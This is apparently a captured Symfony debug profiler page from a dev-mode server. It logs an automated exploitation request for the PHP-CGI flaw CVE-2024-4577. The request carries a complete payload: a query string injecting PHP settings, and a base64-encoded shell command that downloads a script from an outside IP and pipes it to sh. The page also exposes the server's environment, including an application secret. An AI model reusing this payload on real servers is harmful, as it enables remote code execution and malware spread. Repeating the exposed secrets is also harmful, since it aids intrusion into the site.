http://18.202.76.153/?%ADd_allow_url_include%3D1_%ADd_auto_prepend_file%3Dphp%3A%2F%2Finput=

HomeController :: index

Request

GET Parameters

Key Value
�d_allow_url_include=1_�d_auto_prepend_file=php://input
""

POST Parameters

Key Value
<?php_shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw"));_echo(md5("Hello_CVE-2024-4577"));_?>
""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller
"App\Controller\HomeController::index"
_firewall_context
"security.firewall.map.context.main"
_route
"index"
_route_params
[]

Request Headers

Header Value
accept
"*/*"
connection
"close"
content-length
"241"
content-type
"application/x-www-form-urlencoded"
host
"18.202.76.153"
upgrade-insecure-requests
"1"
user-agent
"libredtail-http"
x-forwarded-for
"154.64.232.95"
x-php-ob-level
1
x-real-ip
"154.64.232.95"

Request Content

Raw

<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=UTF-8"
date
"Fri, 26 Dec 2025 06:15:22 GMT"
x-debug-token
"45c8f8"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
(no data)

Defined as regular env variables

Key Value
APP_DEBUG
"1"
APP_ENV
"dev"
APP_SECRET
"7e1c2ba4d58d5ccba049a929665c53f3"
CONTENT_LENGTH
"241"
CONTENT_TYPE
"application/x-www-form-urlencoded"
DATABASE_URL
"mysql://db_user:db_password@127.0.0.1:3306/db_name"
DOCUMENT_ROOT
"/var/www/tectonicaviews2019/releases/20251119112104Z/public"
DOCUMENT_URI
"/index.php"
FCGI_ROLE
"RESPONDER"
GATEWAY_INTERFACE
"CGI/1.1"
HOME
"/var/www"
HTTP_ACCEPT
"*/*"
HTTP_CONNECTION
"close"
HTTP_CONTENT_LENGTH
"241"
HTTP_CONTENT_TYPE
"application/x-www-form-urlencoded"
HTTP_HOST
"18.202.76.153"
HTTP_UPGRADE_INSECURE_REQUESTS
"1"
HTTP_USER_AGENT
"libredtail-http"
HTTP_X_FORWARDED_FOR
"154.64.232.95"
HTTP_X_REAL_IP
"154.64.232.95"
MAILER_URL
"null://localhost"
PHP_SELF
"/index.php"
QUERY_STRING
"%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS
"200"
REMOTE_ADDR
"127.0.0.1"
REMOTE_PORT
"43664"
REQUEST_METHOD
"POST"
REQUEST_SCHEME
"http"
REQUEST_TIME
1766729721
REQUEST_TIME_FLOAT
1766729721.7357
REQUEST_URI
"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME
"/var/www/tectonicaviews2019/releases/20251119112104Z/public/index.php"
SCRIPT_NAME
"/index.php"
SERVER_ADDR
"127.0.0.1"
SERVER_NAME
"symfony"
SERVER_PORT
"8080"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SOFTWARE
"nginx/1.10.3"
SYMFONY_DOTENV_VARS
"APP_ENV,APP_SECRET,DATABASE_URL,MAILER_URL"
USER
"www-data"